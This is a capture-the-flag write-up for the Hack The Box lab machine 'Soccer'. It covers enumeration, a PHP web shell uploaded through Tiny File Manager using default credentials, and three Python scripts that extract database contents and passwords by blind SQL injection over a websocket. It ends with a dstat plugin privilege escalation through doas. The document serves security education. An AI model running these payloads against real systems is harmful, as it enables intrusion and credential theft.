Soccer HTB writeup
Posted on Fri 24 February 2023 in hackthebox
This is a writeup of the machine Soccer from Hack The Box.
As with all the machines on Hack The Box we start by performing an nmap scan against the machine: nmap -sC -sV -oA nmap/soccer 10.10.11.194
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-24 11:55 EST
Nmap scan report for 10.10.11.194
Host is up (0.028s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_ 256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Fri, 24 Feb 2023 16:55:52 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Fri, 24 Feb 2023 16:55:52 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=2/24%Time=63F8EC12%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\
SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x20139\r\nDate:\x20Fri,\x2024\x20Feb\x202023\x2016:55:52\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang
SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</
SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT
SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol
SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\
SF:r\nDate:\x20Fri,\x2024\x20Feb\x202023\x2016:55:52\x20GMT\r\nConnection:
SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me
SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C
SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT
SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s
SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20
SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Fri,\
SF:x2024\x20Feb\x202023\x2016:55:52\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u
SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\
SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.73 seconds
Port 80 redirects to http://soccer.htb/ so we add this to /etc/hosts
.
The website seems to be a simple football fan page without the possibility to change data on the server. Due to that we search for subdirectories:
gobuster dir \
-u http://soccer.htb/ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soccer.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
===============================================================
2023/02/24 11:59:33 Starting gobuster in directory enumeration mode
===============================================================
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 220458 / 220561 (99.95%)
===============================================================
2023/02/24 12:10:29 Finished
===============================================================
This gives us one more endpoint to try: http://soccer.htb/tiny/
Tiny File Manager can be found on Github and has some default credentials that we can try out: admin:admin@123
Reverse shell
After fiddling around with the file manager we can find the directory /tiny/uploads
to which we have write access.
So we create rev.php
with the following contents:
<?php system($_GET['cmd']); ?>
And then call the PHP file with
This spawns a reverse shell which we then can upgrade as always with:
python3 -c 'import pty; pty.spawn("/bin/bash")'
C-z
stty raw -echo
fg
enter
enter
export TERM=xterm
stty rows 73 cols 211
We are the user www-data
.
Let's see how we can priv esc.
Linpeas gives us the following open ports:
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:9091 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1119/nginx: worker
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN 1119/nginx: worker
So let's see what is running on port 9091:
This seems to be some kind of node app as we can infer from the error Cannot GET /
We also find /etc/nginx/sites-enabled/soc-player.htb
This mentions a new host soc-player.soccer.htb
which we add to /etc/hosts
.
This has new functionality including Signup and login os we create a new user and log in as said user.
Once logged in we can search for tickets. In the developer console of our browser we can see that the app uses websockets to communicate with the server.
And in the javascript source we can see how the request is generated:
After fiddling around with the search by hand it seems that we request is vulnerable to some kind of sql injection:
#!/usr/bin/env python
import asyncio
from websockets import connect
async def hello(uri):
async with connect(uri) as websocket:
await websocket.send('{"id":"1 or 1=1 + sleep(1) --"}')
result = await websocket.recv()
print(result)
asyncio.run(hello("ws://soc-player.soccer.htb:9091/"))
This code puts the server to sleep for a second. Instead of using sqlmap we try to build our own script to retrieve more data.
With the article from PayloadsAllTheThings
we learn how to detect the number of columns in the table:
1 or 1=1 ORDER BY 3-- # true
1 or 1=1 ORDER BY 4-- # false
This shows that we have three columns.
Further blind SQLi
Using the following read_tables.py
one can extract the tables in the database:
#!/usr/bin/env python
import asyncio
from websockets import connect
import string
async def run():
async with connect("ws://soc-player.soccer.htb:9091/") as websocket:
table_offset = 0
while True:
result = ""
pos = 1
tried_all_characters = False
while not tried_all_characters:
tried_all_characters = True
for character in string.ascii_letters + '_':
payload = f'1 or 1=1 and (SELECT SUBSTR(table_name,{pos},1) FROM information_schema.tables where table_type <> \\"SYSTEM VIEW\\" AND TABLE_SCHEMA not IN (\\"mysql\\",\\"information_schema\\",\\"performance_schema\\") ORDER BY TABLE_NAME LIMIT {table_offset}, 1) = \\"{character}\\"'
# print(f"Try '{character}' at position '{pos}'")
await websocket.send('{"id":"' + payload + '"}')
response = await websocket.recv()
# print(response)
if response == 'Ticket Exists':
tried_all_characters = False
result += character
# print(result)
break
pos += 1
if not result:
break
print(result)
table_offset += 1
asyncio.run(run())
The accounts table looks interesting so we use the following read_columns.py
to read all the columns:
#!/usr/bin/env python
import asyncio
from websockets import connect
import string
async def run():
async with connect("ws://soc-player.soccer.htb:9091/") as websocket:
table_name = "accounts"
column_offset = 0
while True:
result = ""
pos = 1
tried_all_characters = False
while not tried_all_characters:
tried_all_characters = True
for character in string.ascii_letters + '_':
payload = f'1 or 1=1 and (SELECT SUBSTR(column_name,{pos},1) FROM information_schema.columns where table_name = \\"{table_name}\\" ORDER BY COLUMN_NAME LIMIT {column_offset}, 1) = \\"{character}\\"'
# print(f"Try '{character}' at position '{pos}'")
await websocket.send('{"id":"' + payload + '"}')
response = await websocket.recv()
# print(response)
if response == 'Ticket Exists':
tried_all_characters = False
result += character
# print(result)
break
pos += 1
if not result:
break
print(result)
column_offset += 1
asyncio.run(run())
Finally we can use the following read_rows.py
to extract username and password from the accounts table:
#!/usr/bin/env python
import asyncio
from websockets import connect
import string
async def run():
async with connect("ws://soc-player.soccer.htb:9091/") as websocket:
table_name = "accounts"
column_offset = 0
while True:
result = ""
pos = 1
tried_all_characters = False
while not tried_all_characters:
tried_all_characters = True
for character in string.printable:
payload = f'1 or 1=1 and (SELECT SUBSTR(password,{pos},1) FROM accounts LIMIT {column_offset}, 1) = binary \\"{character}\\"'
# print(f"Try '{character}' at position '{pos}'")
await websocket.send('{"id":"' + payload + '"}')
response = await websocket.recv()
# print(response)
if response == 'Ticket Exists':
tried_all_characters = False
result += character
print(result)
break
pos += 1
if not result:
break
print(result)
column_offset += 1
asyncio.run(run())
Of the two accounts test is the one we created and player looks interesting:
username: player
email: player@player.htb
password: PlayerOftheMatch2022
So let's try to ssh as player via ssh player@soccer.htb
with password PlayerOftheMatch2022
.
We can read the user flag as player. Now we need to priv esc.
Player may not run any command as sudo.
But using linpeas we see that player can run dstat as root:
╔══════════╣ Checking doas.conf
permit nopass player as root cmd /usr/bin/dstat
An entry for dstat can also be found in gtfobins. So we use that to priv esc;
echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
doas -u root /usr/bin/dstat --xxx
This gives as root access: